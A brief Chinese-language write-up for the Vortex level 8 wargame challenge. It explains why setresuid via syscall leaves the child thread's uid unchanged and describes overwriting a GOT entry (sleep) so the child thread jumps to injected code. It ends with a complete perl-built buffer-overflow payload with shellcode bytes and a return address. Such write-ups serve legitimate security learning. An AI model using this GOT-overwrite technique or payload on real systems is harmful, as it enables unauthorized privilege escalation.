这道题里用了setresuid。但是调用的方式是通过syscall,我实验了下,如果是直接setresuid,那么子线程的uid被改变了;而如果是syscall,那么子线程的uid不变。现在还不清楚这是为什么,估计是和signal什么的有关。
总之,现在必须在子线程里invoke shell。我们还是可以通过修改got来做到。也就是说,先在父进程unsafecode里执行我们的命令,来修改got,然后让父进程先不要退出(否则子进程也结束了);然后子进程再调用的时候就会跳到修改后的地方,我们在那里放上payload
可以通过
$ objump -R vortex8
来获得函数在got的地址。我想试着修改fflush的地址,但没成功,不知道是为什么。修改sleep是可以的
最后的部分是无限循环,这样主线程就不会先于子线程退出
确定了strcpy的目标到返回地址的距离然后
$ /tmp/nabla$ /vortex/vortex8 `perl -e 'print "A"x1021 . "\xbb\x08\xa0\x04\x08\x8b\x03\xc7\x03\xf2\xd8\xff\xff\xeb\xfe" . "\xbd\xd2\xff\xff"'`